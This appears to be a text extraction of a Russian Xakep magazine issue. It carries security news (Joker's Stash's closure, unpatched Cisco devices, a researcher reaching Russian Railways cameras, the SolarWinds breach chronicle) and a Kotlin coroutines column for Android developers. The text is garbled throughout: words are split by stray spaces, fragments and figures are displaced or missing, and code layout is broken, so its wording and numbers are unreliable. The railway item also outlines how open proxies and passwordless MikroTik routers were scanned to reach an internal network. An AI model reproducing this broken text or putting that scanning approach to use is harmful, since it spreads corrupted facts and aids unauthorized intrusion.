Ин терес но,  что  декаб ре  2020  года  пра воох раните ли  смог ли 
 над нес коль кими сер верами кар дер ско го сай та, тем самым выз вав

перебои в работе Joker’s Stash. Хотя тог да адми нис тра ция ресур са ясно дала
понять, что влас ти арес товали лишь внеш ние сер веры, а на устра нение пос‐ 
ледс твий и нас трой ку новых сер веров не уйдет мно го вре мени, в ито ге пос‐ 
тра дала репута ция сай та.

ус тановить
кон троль

Те перь же ана лити ки Intel 471 сооб щили:

«В октябре прес тупник, который яко бы управля ет сай том, объ явил, что
заразил ся COVID-19  и  про вел  неделю  в  боль нице.  Его  болезнь  пов- 
лияла на форумы сай та, попол нение запасов [при ток новых ворован- 
ных карт] и дру гие опе рации».

Так же  Intel  471  замети ла,  что  кли енты  сай та  все  чаще  жалу ются  на  то,  что
качес тво  дан ных  бан ков ских  карт,  про дающих ся  на  сай те,  ста новит ся  все
более низ ким.

Пос ле болез ни адми нис тра тора обо роты кар дер ско го сай та дей стви тель‐ 
но  упа ли,  что  мож но  уви деть  на  гра фике  ниже,  соз данном  спе циалис тами
ком пании Geminy Advisory. Дело в  том, что пока Joker’s Stash пус товал,  кон‐ 
курен ты активно пуб ликова ли дан ные.

В сво ем объ явле нии о  ско ром зак рытии сай та  адми нис тра ция  Joker’s Stash
не вда ется в под робнос ти и не объ ясня ет при чин,  которые при вели к это му
решению.  Мож но  пред положить,  что  пра воох ранитель ные  орга ны,  которые
ранее  пообе щали  про дол жить  прес ледова ние  адми нис тра торов  и  поль‐ 
зовате лей Joker’s Stash, под бира ются к опе рато рам ресур са все бли же.

Эк спер ты Gemini  Advisory  полага ют,  что  за  вре мя  сво его  сущес тво вания
мар кет плейс уже зарабо тал более мил лиар да дол ларов незакон ной при были,
«хотя эти день ги в том чис ле получа ли и про дав цы».

 УЯЗВИМОСТИ НЕ ПРОПАТЧАТ В УСТРОЙСТВАХ CISCO74

Вла дель цы SMB‐устрой ств ком пании Cisco не получат исправ лений для   най ден ных недав но
уяз вимос тей.  Пат чей  не  будет  для  девай сов  ,  ,    и  ,  которые
мож но исполь зовать как в качес тве мар шру тиза торов,  так и в качес тве бран дма уэров и VPN‐
решений.  Дело  в  том,  что  пос ледние  обновле ния  для  этих  устрой ств  выш ли  1  декаб‐ 
ря 2020 года и были пред назна чены толь ко для кли ентов плат ной под дер жки.
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Об наружен ные  баги,  которые  уже  не  будут  исправ лены,  начина ются  от  прос того  отка за
в  обслу жива нии  и  закан чива ются  проб лемами,  которые  мож но  исполь зовать  для  получе ния
root‐дос тупа.
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ДОСТУП К КАМЕРАМ
РЖД
Ис сле дова тель,  извес тный  под  ником  LMonoceros,  рас ска зал  на  Хаб ре,
как  ему  уда лось,  ничего  не  взла мывая,  про ник нуть  в  сеть  РЖД.  Выш ло
это прак тичес ки слу чай но. Автор пишет:

«В  интерне те  очень  мно го  бес плат ных  прок си‑сер веров.  Но  кто
в  здра вом  уме  будет  откры вать  всем  жела ющим  выход  в  интернет
через свой роутер? Вари антов по боль шому сче ту два: либо это взло- 
ман ные устрой ства, либо вла делец забыл отклю чить эту фун кцию.

Та ким  обра зом  меня  посети ла  идея  про верить  гипоте зу,  есть  ли
жизнь  за  прок си.  Я  запус тил  Nmap  по  диапа зону  адре сов  по  пор- 
ту 8080. Далее из получен ного резуль тата про шел ся прок си‑чекером
в  поис ках  пуб лично го  прок си  без  авто риза ции  и  из  положи тель ных
резуль татов выб рал самый близ кий ко мне по пин гу.

За пус тил ска нер через него по адре сам 172.16.0.0/12 порт 8291 (mikrotik win‐
box). И! Я его нашел! Без пароля!»

LMonoceros приз нает ся, что сра зу не понял весь мас штаб обна ружен ной им
проб лемы.  Пыта ясь  свя зать ся  с  вла дель цем  уяз вимой  сис темы,  он  под нял
исхо дящий VPN до себя, что бы изу чить сеть и узнать, кому она при над лежит.
Так  он  обна ружил  более  20  тысяч  устрой ств  по  всей  Рос сии,  око‐ 
ло 1000 из которых были девай сами MikroTik, и огромное количес тво девай‐ 
сов осна щалось дефол тны ми пароля ми. В их чис ле были IP‐телефо ны, FreeP‐
BX, сетевое обо рудо вание.

Ав тор отме чает, что мно гие роуте ры работа ли на пос ледних вер сиях про‐ 
шивок, были защище ны нор маль ными пароля ми и не были уяз вимы, но хва‐ 
тало и пло хо нас тро енных и необ новлен ных устрой ств.

В  ито ге  в  рас поряже нии  иссле дова теля  ока зал ся  дос туп  не  менее  чем
к 10 тысячам (по его «скром ным ощу щени ям») камер наб людения про изводс‐ 
тва  Beward,  Axis,  Panasonic  и  дру гих.  Кар тинки  с  камер  демонс три рова ли
желез нодорож ные  вок залы  и  стан ции  (внут ри  и  сна ружи)  и  даже  офи сы
изнутри.  Ста ло  оче вид но,  что  вся  эта  инфраструк тура  находит ся  в  ведении
РЖД.

«Я всег да счи тал,  что  уяз вимос ти в  кор поратив ных сетях появ ляют ся
из‑за оши бок или спе циаль ных дей ствий без гра мот ных сот рудни ков.
Пер вое,  что  приш ло  мне  в  голову,  —  это  некий  сот рудник  по  раз- 
решению  СБ  под нял  у  себя  из  дома  VPN  до  рабочей  сети  на  Мик- 
ротике в сво ей домаш ней сети. Но в дан ном слу чае эта моя гипоте за
раз билась,  как  толь ко  я  уви дел  обратный  резолв  адре са,  через
который я попал на этот Мик ротик. То есть это один из шлю зов в мир
из сети РЖД. Ну и в сеть РЖД тоже», — объ ясня ет LMonoceros.

Ху же того, LMonoceros обна ружил мно жес тво приз наков того, что в этой сети
быва ет  кто‐то  еще.  К  при меру,  он  пишет,  что  не  раз  встре чал  такие  лин ки
на роуте рах, никак не отно сящих ся к РЖД.

В обновле нии к сво ей статье иссле дова тель заявил, что с ним свя зались спе‐ 
циалис ты РЖД и они сов мес тно зак рыли най ден ные уяз вимос ти. Так же пред‐ 
ста вите ли  РЖД  сооб щили  ТАСС,  что  уже  про водят  рас сле дова ние  слу чив‐ 
шегося. Они под черки вают,  что  «утеч ки пер сональ ных дан ных  кли ентов  хол‐ 
динга не про изош ло, угро зы безопас ности дви жения нет».

ТОРВАЛЬДС КРИТИКУЕТ INTEL
Не дав но Линус Тор валь дс рез ко выс казал ся в адрес ком пании Intel, заявив, что утвер жде ния,
буд то пот ребите лям не нуж на память с защитой ECC, в кор не оши боч ны. Такую защищен ную
память  сегод ня  исполь зуют  в  боль шинс тве  кри тичес ких  сис тем,  для  которых  важ на  бес‐ 
перебой ная и ста биль ная работа, в том чис ле в боль шинс тве сер веров. При этом ECC‐память
дороже обыч ной лишь на 20%, одна ко без материн ских плат и про цес соров, которые ее под‐ 
держи вают, от такой памяти нет никако го про ка.

Тор валь дс писал, что  Intel пря мо заин тересо вана в том, что бы под тол кнуть богатые ком пании
к исполь зованию более дорогих про цес соров сер верно го уров ня, и не хочет давать орга низа‐ 
циям воз можность эффектив но исполь зовать дру гое обо рудо вание, при нося щее мень ше при‐ 
были.  Он  убеж ден,  что  отказ  от  под дер жки  ECC‐памяти  в  обыч ных  про цес сорах  для  пот‐ 
ребитель ско го рын ка — это один из спо собов, которым Intel удер жива ет рын ки сег менти рован‐ 
ными.

→ «Оши боч ная  и  отста лая  полити ка  „пот ребите лям  не  нужен  ECC“  [зас тавила]  ECC‐память
уйти с рын ка. Аргу мен ты про тив ECC всег да были пол ней шей чушью. Теперь даже сами про‐ 
изво дите ли  памяти  начина ют  исполь зовать  ECC  внут ри  ком паний,  потому  что  они  наконец
приз нали тот факт, что им это абсо лют но необ ходимо.

Они  лжи вые  ублюдки.  Поз воль те  мне  еще  раз  под чер кнуть,  что  проб лемы  Rowhammer
сущес тву ют уже нес коль ко поколе ний, но эти у*бки с радостью про дава ли заведо мо сло ман ное
обо рудо вание пот ребите лям и утвер жда ли, что это „ата ка“, хотя на самом деле это прос то „мы
сре заем углы“.

Сколь ко  раз  Rowhammer,  в  виде  перево рота  битов,  про исхо дил  по  чис той  слу чай нос ти
при реаль ных наг рузках, не свя зан ных с ата ками? Мы никог да не узна ем. Потому что Intel под‐ 
совыва ла пот ребите лям это дерь мо»
— Линус Тор валь дс

ПРИВАТНЫЕ API
CHROME
Раз работ чики  Google  зап ретят  сто рон ним  Chromium‐бра узе рам  исполь‐ 
зовать при ват ные API Google. Дело в том, что мно гие API, вклю чен ные в код
Chromium, пред назна чены исклю читель но для при мене ния в Google Chrome,
одна ко обна ружи лось, что их успешно исполь зуют сто рон ние про изво дите ли.

«В  ходе  недав него  ауди та мы обна ружи ли,  что  некото рые  сто рон ние
бра узе ры  на  базе  Chromium  могут  исполь зовать  фун кции  Google,
вклю чая  Chrome  Sync  и  Click  to  Call,  которые  пред назна чены  толь ко
для исполь зования в про дук тах Google, — пишет тех ничес кий дирек тор
Google  Chrome  Йохен  Айзин гер  (Jochen  Eisinger).  —  Это  зна чит,  что
неболь шая  часть  поль зовате лей мог ла  вой ти  в  свою  учет ную  запись
Google  и  сох ранить  лич ные  дан ные  через  Chrome  Sync  (нап ример,
зак ладки) не толь ко для Google Chrome, но и для некото рых сто рон них
бра узе ров на осно ве Chromium».

Спе циалист не уточ няет, о каких имен но бра узе рах идет речь, но пишет, что
начиная с 15 мар та 2021 года ком пания огра ничит дос туп сто рон них Chromi‐
um‐бра узе ров к при ват ным API Chrome.

Те, кто уже вос поль зовал ся Chrome Sync и дру гими фун кци ями в сто рон‐ 
них  бра узе рах,  по‐преж нему  смо гут  получить  дос туп  к  син хро низи рован ным
дан ным локаль но или в сво ей учет ной записи Google, в зависи мос ти от нас‐ 
тро ек син хро низа ции.

 ПОИСКОВЫХ ЗАПРОСОВ DUCKDUCKGO100 000 000

Раз работ чики  ори енти рован ного  на  кон фиден циаль ность  поис ковика  DuckDuckGo  сооб щили
об оче ред ном рекор де: впер вые за   исто рию сво его сущес тво вания поис ковик дос‐ 
тиг отметки в   поис ковых зап росов в день. В 2020 году сред нее количес тво поис‐ 
ковых зап росов в день воз росло на  .

12-лет нюю
100 000 000

62%

На пом ню,  что  еще  в  августе  2020  года  поис ковая  сис тема  отчи талась  о  получе нии
 поис ковых зап росов в месяц на регуляр ной осно ве. Хотя эти циф ры невели ки

по срав нению с   ежед невных поис ковых зап росов Google, все же это вер ный
приз нак того, что поль зовате ли ищут аль тер нативы и ста ли чаще задумы вать ся о при ват ности
и кон фиден циаль нос ти, счи тают раз работ чики.

2 000 000 000
5 000 000 000

SOLARWINDS И ВСЕ‐
ВСЕ‐ВСЕ
Прош ло  нем ногим боль ше месяца  с  тех  пор,  как  весь мир  узнал о 

  и  пос ледовав шей  за  этим  мас штаб ной  ата ке
на цепоч ку пос тавок. Как и ожи дали мно гие ИБ‐экспер ты, спи сок пос тра дав‐ 
ших  в  ходе  это го  инци ден та  про дол жил  попол нять ся  новыми  име нами,
а иссле дова тели про дол жают обна родо вать новые  тех ничес кие детали про‐ 
изо шед шего.

ком про‐ 
мета ции  ком пании  SolarWinds

На пом ню, что суть про изо шед шего прос та: в прош лом году неиз вес тные
зло умыш ленни ки  ата кова ли  ком панию  SolarWinds  и  зарази ли  ее  плат форму
Orion мал варью. Сог ласно офи циаль ным дан ным, сре ди 300 тысяч кли ентов
SolarWinds толь ко 33 тысячи исполь зовали Orion, а заражен ная вер сия плат‐ 
формы была уста нов лена при мер но у 18 тысяч кли ентов. В резуль тате в чис ле
пос тра дав ших ока зались такие гиган ты,  как Microsoft, Cisco, FireEye, а  так же
мно жес тво  пра витель ствен ных  агентств  США,  вклю чая  Гос деп 

 управле ние по ядер ной безопас ности.и Национальное
Ата ку  на  SolarWinds  при писы вают  пред положи тель но  рус ско языч ной

хак‐груп пе, которую ИБ‐экспер ты отсле жива ют под наз вани ями StellarParticle
(CrowdStrike),  UNC2452  (FireEye)  и  Dark  Halo  (Volexity).  При чем  сами
ИБ‐экспер ты не пишут ничего о воз можной атри буции ата ки.

Как раз вивалась эта ситу ация в  янва ре 2021  года,  поможет разоб рать ся
наша хро ника.
• В пер вых чис лах янва ря пред ста вите ли Минис терс тва юсти ции США под‐ 
твер дили,  что  Минюст  тоже  пос тра дал  от  взло ма  SolarWinds.  Хуже  того,
ведомс тво ста ло одной из нем ногих жертв, в сети которой хакеры про дол‐ 
жили  раз вивать  ата ку  и  в  ито ге  получи ли  дос туп  к  внут ренним  поч товым
ящи кам.  Сооб щалось,  что  пос тра дали  при мер но  3%  ящи ков,  а  исхо дя
из  того,  что  штат  сот рудни ков  Минис терс тва  юсти ции  оце нива ется  при‐ 
мер но  в  100–115  тысяч  человек,  чис ло  пос тра дав ших  сос тавля ет
от 3000 до 3450 человек.

• Так же  в  начале  янва ря  сов мес тное  заяв ление  выпус тили  Федераль ное
бюро  рас сле дова ний  (ФБР),  Агентство  наци ональ ной  безопас ности
(АНБ), Агентство по кибер безопас ности и защите инфраструк туры  (CISA)
и  Управле ние  дирек тора  наци ональ ной  раз ведки  (ODNI).  Пра воох‐ 
ранитель ные орга ны заяви ли, что за ком про мета цией SolarWinds и ее кли‐ 
ентов, ско рее все го, сто яла Рос сия.

Офи циаль ные  лица  пред положи ли,  что  за  этой  мас штаб ной  ата кой
на цепоч ку пос тавок сто ит неназ ванная APT‐груп пиров ка «веро ятно, рос‐ 
сий ско го  про исхожде ния».  Сам  взлом  SolarWinds  чинов ники  оха рак‐ 
теризо вали как «попыт ку сбо ра раз веддан ных».

• Из дания New York Times и Wall Street Journal, со ссыл кой на собс твен ные
источни ки,  сооб щили,  что  ком пания  JetBrains  находит ся  под  следс тви ем
из‐за  воз можно го  учас тия  во  взло ме  ком пании  SolarWinds.  Яко бы  офи‐ 
циаль ные  лица США  рас смат рива ют  сце нарий,  в  ходе  которо го  рос сий‐ 
ские  хакеры  мог ли  взло мать  JetBrains,  а  затем  пред при нять  ата ки  на  ее
кли ентов, одним из которых явля ется SolarWinds. В час тнос ти, хакеры мог‐ 
ли нацели вать ся на про дукт TeamCity.

В ответ на это  гла ва JetBrains Мак сим Шафиров опуб ликовал в бло ге
ком пании пост, в котором рас ска зал, что в JetBrains ник то не зна ет о яко‐ 
бы ведущем ся в отно шении ком пании рас сле дова нии и пред ста вите ли So‐
larWinds не свя зыва лись с JetBrains и не сооб щали никаких под робнос тей
об инци ден те.

• В янва ре иссле дова тели Symantec и CrowdStrike обна ружи ли третью и чет‐ 
вертую мал варь, которая исполь зовалась во вре мя ата ки на ком панию So‐
larWinds,  наряду  с  вре доно сами  Sunburst  (он  же  Solorigate)  и  Teardrop,
о которых ста ло извес тно еще в декаб ре. Новые вре доно сы получи ли наз‐ 
вания   и  .Sunspot Raindrop

Так же  инте рес но,  что  экспер ты  «Лабора тории  Кас пер ско го»  опуб‐ 
ликова ли  собс твен ный  раз верну тый  отчет  о  бэк доре Sunburst:  в  нем 

 с NET‐бэк дором Kazuar, который дав но при‐ 
меня ет рус ско языч ная хак‐груп па Turla.

об‐ 
наружи ли мно жес тво сходств

• За про шед ший месяц спи сок ком паний, пос тра дав ших из‐за взло ма Solar‐
Winds, попол нило немало новых имен. Выяс нилось, что нашумев шая ата ка
на  цепоч ку  пос тавок    такие  ком пании,  как  Mimecast,  Palo  Alto
Networks, Qualys и Fidelis Cybersecurity.

зат ронула

О ком про мета ции   и ИБ‐ком пания Malwarebytes, но взлом не свя‐ 
зан с SolarWinds нап рямую. Ком пания пос тра дала от рук тех же хакеров, что
ата кова ли ком панию SolarWinds. При этом под черки валось, что Malwarebytes
вооб ще не поль зовалась про дук тами SolarWinds, не уста нав ливала заражен‐ 
ную  вер сию  Orion,  а  зло умыш ленни ки  исполь зовали  «дру гой  век тор  втор‐ 
жения», что бы получить дос туп к ее внут ренним пись мам.

со общи ла

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Ре зер вный банк Новой Зелан дии стал жер твой взло ма

Но вое  поколе ние  про цес соров Core  vPro  получит  защиту  от шиф роваль щиков  на  аппа рат ном
уров не

Telegram‐боты помог ли прод винуть на Запад мошен ничес кую схе му с курь ерски ми сер висами

Од нос троч ная коман да в Windows 10 может пов редить фай ловую сис тему NTFS

Из macOS уда лили фун кцию, которая поз воляла обхо дить бран дма уэры

Уяз вимос ти в Signal, Google Duo, Facebook Messenge поз воляли шпи онить за поль зовате лями

Google про индекси ровал ворован ные учет ные дан ные из‐за ошиб ки хакеров

Сер веры Windows RDP исполь зуют ся для уси ления DDoS‐атак

Ком панию SonicWall взло мали через 0‐day‐уяз вимос ти в ее собс твен ных про дук тах

При ложе ние забани ли в Google Play из‐за под дер жки суб титров в фор мате .ass
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Се год ня  в  выпус ке:  раз бира емся  с  проб‐ 
лемами, воз ника ющи ми при исполь зовании
корутин в Kotlin, прев раща ем кол бэки в sus‐
pend‐фун кции,  пишем  при ложе ние
с исполь зовани ем Kotlin  Flow,  а  так же раз‐ 
бира емся,  почему  нель зя  про водить  тес ты
про изво дитель нос ти на отла доч ной сбор ке,
и учим ся уста нав ливать на смар тфон сра зу
отла доч ную и про дак шен‐вер сии при ложе‐ 
ния. Ну и как обыч но, под борка све жих биб‐ 
лиотек.

РАЗРАБОТЧИКУ

Проблемы использования корутин в Kotlin

 —  статья  о  проб лемах,  с  которы ми
мож но  стол кнуть ся  при  исполь зовании  корутин  в Kotlin. Вот  наибо лее  инте‐ 
рес ные тезисы.

7  Gotchas When  Explore  Kotlin  Coroutine

1. runBlocking может под весить при ложе ние
Рас смот рим сле дующий код:

       override fun onCreate(savedInstanceState: Bundle?) {
   super.onCreate(savedInstanceState)
   setContentView(R.layout.activity_main)

     runBlocking(Dispatchers.Main) {
        Log.d("Track", "${Thread.currentThread()}")
        Log.d("Track", "$coroutineContext")

   }
}

Выг лядит безобид но,  но он при ведет  к фри зу  при ложе ния. Почему  так про‐ 
исхо дит, под робно опи сано в статье  . Если
крат ко, то проб лема воз ника ет из‐за самого прин ципа работы  .
Он  запус кает  новую  корути ну,  а  затем  бло киру ет  текущий  поток.  Но  если
запус тить   с дис петче ром   из основно го потока, то порож‐ 
денная  корути на  ока жет ся  в  том  же  потоке  и  в  ито ге  не  смо жет  получить
управле ние, так как текущий поток будет заб локиро ван.

How  runBlocking May Surprise You
runBlocking

runBlocking Main

По‐хороше му  эта  проб лема  реша ется  отка зом  от  исполь зования 
.  Это  инс тру мент  для  юнит‐тес тов,  а  не  для  про дак шена.  Но  если

очень хочет ся, мож но убрать имя дис петче ра из вызова фун кции:

run‐
Blocking

 runBlocking {
     Log.d("Track", "${Thread.currentThread()}")

        Log.d("Track", "$coroutineContext")
}

2. Корути ну нель зя завер шить в любой момент
Не опыт ные раз работ чики счи тают, что если выз вать метод   корути‐ 
ны, то она будет завер шена сра зу. На самом деле это не так и в ряде слу чаев
корути на может успеть пол ностью отра ботать, перед тем как обра бота ет сиг‐ 
нал завер шения.

cancel()

Про исхо дит  так  потому,  что  корути ны  реали зуют  модель  коопе ратив ной
мно гоза дач ности. Ког да одна корути на посыла ет сиг нал завер шения дру гой
корути не, пос ледняя может либо обра ботать этот сиг нал, либо про игно риро‐ 
вать его. Хорошая новость сос тоит в том, что все стан дар тные suspend‐фун‐ 
кции  ( ,  ,    и  дру гие)  уме ют  самос тоятель но
обра баты вать этот сиг нал и завер шать корути ну. Пло хая новость — бла года‐ 
ря такой невиди мой авто мати зации раз работ чики быва ют удив лены, что одни
корути ны в их коде завер шают ся поч ти мгно вен но в ответ на  , а дру‐ 
гие про дол жают работать.

yield() delay() withContext()

cancel()

Проб лему  реша ем  так:  про веря ем  зна чение  свой ства    меж ду
вычис лени ями и завер шаем корути ну, если получи ли зна чение  .

isActive
false

3. Отме нен ный coroutine scope нель зя исполь зовать пов торно
Взгля ни на сле дующий код:

@Test
   fun testingLaunch() {

         val scope = MainScope()
     runBlocking {
       scope.cancel()

        scope.launch {
            try {

               println("Start Launch 2")
               delay(200)
               println("End Launch 2")

                  } catch (e: CancellationException) {
               println("Cancellation Exception")
           }
       }.join()

       println("Finished")
   }
}

Дан ный код не будет работать. Если выз вать   на coroutine scope, он
ста новит ся  неп ригод ным  для  даль нейше го  исполь зования.  Выхода  из  этой
ситу ации  два:  соз дать  новый  scope  на  мес те  ста рого  и  завер шать  не  сам
scope, а все при над лежащие ему корути ны:

cancel()

resultsScope.coroutineContext.cancelChildren()

Используем колбэки в последовательном коде

 — хорошая статья о том, как прев ратить кол бэки в sus‐
pend‐фун кции с помощью  .
Suspending over Views

suspendCancellableCoroutine()
В  Android  кол бэки  пов сюду,  и  UI  фрей мворк  не  исклю чение.  Кол бэки

исполь зуют ся для все го под ряд:
 — что бы запус тить код по окон чании ани мации;• AnimatorListener

  —  что бы  выпол нить  код  сра зу  пос ле
про мот ки RecyclerView;

• RecyclerView.OnScrollListener

 — что бы узнать, ког да View был перери‐ 
сован пос ле изме нения.

• View.OnLayoutChangeListener

В целом кол бэки не очень удоб ны и могут прев ратить код в труд нопере вари‐ 
ваемую  кашу  (callback  hell). Фун кции‐рас ширения  из  биб лиоте ки  android‐ktx
час тично  реша ют  эту  проб лему:  пре обра зуют  кол бэки  на  осно ве  клас сов
в лям бды  (   вмес то  ),  но  всем  нам
хотелось  бы  писать  код  в  пос ледова тель ном  сти ле,  как  и  пред лага ет  язык
Kotlin и suspend‐фун кции. Но мож но ли это го дос тичь, имея дело с фрей мвор‐ 
ком Android, написан ным с помощью кол бэков?

doOnLayout() OnLayoutChangeListener()

Мож но, для это го дос таточ но исполь зовать бил дер корутин 
.  Раз берем его  на  при мере  сле дующей фун кции‐рас‐ 

ширения,  при оста нав лива ющей  исполне ние  корути ны  до  сле дующе го
обновле ния View:

suspendCan‐
cellableCoroutine()

       
     

suspend fun View.awaitNextLayout() = suspendCancellableCoroutine<Unit
> { cont ‐>
   // Объявим стандартный листенер
             val listener = object : View.OnLayoutChangeListener {

            override fun onLayoutChange(...) {
           // При срабатывании листенера удаляем его
           view.removeOnLayoutChangeListener(this)
           // И выводим корутину из спячки
           cont.resume(Unit)
       }
   }

   // Если корутина внезапно завершилась — удалим листенер
       
 

cont.invokeOnCancellation { removeOnLayoutChangeListener(listener
) }

   // Подключаем листенер к View
   addOnLayoutChangeListener(listener)
}

Эта  фун кция  при оста нав лива ет  исполне ние  корути ны  до  тех  пор,  пока  View
не будет перери сован пос ле изме нения. Исполь зовать ее мож но так:

 viewLifecycleOwner.lifecycleScope.launch {
   // Изменяем View и прячем
       titleView.isInvisible = true
       titleView.text = "Hi everyone!"

   // Ждем, пока View будет перерисован
   titleView.awaitNextLayout()

   // View перерисован! Можно сделать его видимым и включить 
анимацию
       titleView.isVisible = true
       titleView.translationY = ‐titleView.height.toFloat()
   titleView.animate().translationY(0f)
}

Ес ли мы соз дадим еще нес коль ко подоб ных фун кций (исходни ки есть в ори‐ 
гиналь ной статье), мы смо жем писать пос ледова тель ный код типа такого:

 viewLifecycleOwner.lifecycleScope.launch {
     imageView.animate().run {
       alpha(0f)
       start()
       awaitEnd()
   }

     recyclerView.run {
       smoothScrollToPosition(10)
       awaitScrollEnd()
   }

         
 
ObjectAnimator.ofFloat(textView, View.TRANSLATION_X, ‐100f, 0f).

run {
       start()
       awaitEnd()
   }
}

Этот  код  запус кает  ани мацию  исчезно вения  изоб ражения,  дожида ется  ее
окон чания, затем про маты вает RecyclerView до позиции 10, дожида ется окон‐ 
чания этой опе рации и запус кает дру гую ани мацию.

Почему нельзя использовать отладочную сборку для бенчмарков

 —
неболь шая  замет ка  о  том,  почему  отла доч ные  сбор ки  всег да  нам ного мед‐ 
леннее релиз ных.

Don’t Run Benchmarks on a Debuggable Android App (Like I Did for Coroutines)

Не кото рое  вре мя  назад  автор  написал  статью,  пос вящен ную  корути нам
Kotlin, и дал совет не исполь зовать корути ны при ини циали зации при ложе ния,
потому  что  на  запуск  пер вой  корути ны  ухо дит  при мер но  110  мил лисекунд.
Поз же в ком мента рии приш ли дру гие раз работ чики и посове това ли запус тить
тест про изво дитель нос ти на релиз ной сбор ке вмес то отла доч ной. В резуль‐ 
тате  тест  показал  9  мил лисекунд  при  вклю чен ной  минифи кации  (ProGuard)
и 14 при отклю чен ной.

Так  про исхо дит  потому,  что  сре да  раз работ ки  вклю чает  для  отла доч ных
сбо рок  флаг  debuggable,  который  поз воля ет  под клю чать  к  при ложе нию
отладчик.  Это,  в  свою  оче редь,  вле чет  за  собой  отклю чение  опре делен ных
опти миза ций кода, вклю чение пос тоян ной сбор ки метадан ных и мно гие дру‐ 
гие  вещи.  Обыч но  это  при водит  к  замед лению  при ложе ния  при мер но  на 

 но в слу чае с корути нами замед ление может дос тигать 650%.0–80%,
Вы вод:    не изме ряй про изво дитель ность, исполь зуя отла доч ную

сбор ку при ложе ния.
ни ког да

Как установить отладочную и обычную версии приложения
одновременно

 —  статья  о  том,
как  упростить себе жизнь,  уста новив сра зу две вер сии при ложе ния на одно
устрой ство.

Android —  Keeping  Release  and  Debug  Installed  All  the  Time

Для начала нуж но изме нить имя пакета при ложе ния. В инс трук циях сбор ки
имя пакета зада ется с помощью дирек тивы  :applicationId

 defaultConfig {
     applicationId "com.example.app"
     minSdkVersion 26
     targetSdkVersion 30
     versionCode 10203
     versionName "1.2.3"

     testInstrumentationRunner "androidx.test.runner.
AndroidJUnitRunner"
}

В  то же  вре мя  имя  пакета мож но  перепи сать  для  раз ных  вари антов  сбор ки
с помощью дирек тивы  :applicationIdSuffix

 buildTypes {
     release {

        minifyEnabled false
 

 
       proguardFiles getDefaultProguardFile('
proguard‐android‐optimize.txt'), 'proguard‐rules.pro'
   }
     debug {

        applicationIdSuffix ".debug"
   }
}

В  ито ге  отла доч ная  сбор ка  при ложе ния  получит  имя 
. Это поможет уста новить сра зу две сбор ки при ложе ния на устрой ство,

но при ведет к двум проб лемам:

com.example.app.
debug

1. Сер висы типа Firebase перес танут рас позна вать при ложе ние.
2. Оба при ложе ния будут иметь оди нако вое имя и икон ку.

Обе проб лемы реша ются с помощью аль тер натив ных ресур сов для отла доч‐ 
ной  сбор ки  при ложе ния.  Нап ример,  что бы  поменять  имя  при ложе ния,  дос‐ 
таточ но  соз дать  в  катало ге    про екта  (рядом  с  катало гом  )
каталог  ,  а  в  нем  файл    с  таким  содер‐ 
жимым:

app/src main
debug/res/values/ strings.xml

   <string name="app_name" translatable="false">Имя дебажной сборки</
string>

При мер но таким же обра зом мож но поменять икон ку и под клю чить при ложе‐ 
ние к дру гому про екту Firebase.

Современный подход к разработке с использованием Kotlin

 — неболь шая статья с  хорошей
иллюс тра цией сов ремен ных под ходов к раз работ ке на при мере диало га заг‐ 
рузки фай ла.

How  to Show Download Progress, Kotlin‐Style

Ког да‐то, на заре ста нов ления Android как самой популяр ной плат формы,
по сети гуляло мно жес тво при меров реали зации подоб ной фун кци ональ нос‐ 
ти. Обыч но все сво дилось к исполь зованию   и  ,
а сам код выг лядел как весь ма далекая от пат терна MVC мешани на клас сов
и методов.

AsyncTask runOnUiThread()

Се год ня  у  нас  есть мощ ные инс тру мен ты  асин хрон ного  прог рамми рова‐ 
ния,  поз воля ющие  сде лать  этот  код  гораз до  чище,  понят нее  и  надеж нее.
И все это с исполь зовани ем стан дар тных средств и биб лиотек раз работ ки.

Итак, для начала соз дадим sealed‐класс для управле ния сос тоянием заг‐ 
рузки:

     sealed class DownloadStatus {
         object Success : DownloadStatus()
             data class Error(val message: String) : DownloadStatus()
           data class Progress(val progress: Int): DownloadStatus()
}

Sealed‐клас сы  отли чают ся  тем,  что  могут  иметь  толь ко  огра ничен ный
и  заранее  опре делен ный  набор  потом ков.  Нам  нуж но  все го  три  сос тояния:
заг рузка завер шена, ошиб ка заг рузки, текущий прог ресс заг рузки.

Те перь реали зуем саму фун кцию заг рузки:

           
 

suspend fun HttpClient.downloadFile(file: File, url: String): Flow<
DownloadStatus> {
       return flow {

              val response = call {
           url(url)

              method = HttpMethod.Get
       }.response

            val byteArray = ByteArray(response.contentLength()!!.toInt())
            var offset = 0

        do {
     

   
           val currentRead = response.content.readAvailable(
byteArray, offset, byteArray.size)

              offset += currentRead
                        val progress = (offset * 100f / byteArray.size).

roundToInt()
           emit(DownloadStatus.Progress(progress))

              } while (currentRead > 0)
       response.close()

          if (response.status.isSuccess()) {
           file.writeBytes(byteArray)
           emit(DownloadStatus.Success)

          } else {
           emit(DownloadStatus.Error("File not downloaded"))
       }
   }
}

Это  фун кция‐рас ширение  для  клас са    Kotlin‐биб лиоте ки  Ktor.
Как  рас ширение,  она  может  исполь зовать  методы  клас са    нап‐ 
рямую, к тому же нам нет необ ходимос ти соз давать спе циаль ный ути лит ный
класс для нее, в осталь ном коде она будет выг лядеть как метод клас са 

.

HttpClient
HttpClient

Http‐
Client

Кро ме  того  что  это  фун кция‐рас ширение,  это  еще  и  suspend‐фун кция,
которая  воз вра щает  Flow  (поток  дан ных),  содер жащий  текущее  сос тояние
заг рузки.  Это  зна чит,  что  код  в  теле  фун кции  будет  выпол нен  не  в  момент
вызова фун кции,  а  в  момент  получе ния  дан ных  из  самого  Flow  (с  помощью
метода  ).  Это  поз волит  сде лать  код  более  струк туриро ван ным
и понят ным.

collect()

На конец, напишем фун кцию, которая будет запус кать заг рузку в фоновом
потоке и динами чес ки обновлять интерфейс при ложе ния:

     private fun downloadWithFlow() {
     CoroutineScope(Dispatchers.IO).launch {

          ktor.downloadFile(file, url).collect {
            withContext(Dispatchers.Main) {

                  when (it) {
                        is DownloadStatus.Success ‐> {

                       // Обновляем UI
                   }

                        is DownloadStatus.Error ‐> {
                       // Обновляем UI
                   }

                        is DownloadStatus.Progress ‐> {
                       // Обновляем UI
                   }
               }
           }
       }
   }
}

Вся логика в одной неболь шой фун кции. Сна чала запус каем фоновую корути‐ 
ну  ( ),  затем  запус каем  заг рузку
фай ла и обновля ем UI в соот ветс твии с получен ным из Flow сос тоянием.

CoroutineScope(Dispatchers.IO).launch
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Нет на све те прог раммис та,  который не слы шал бы о Stack
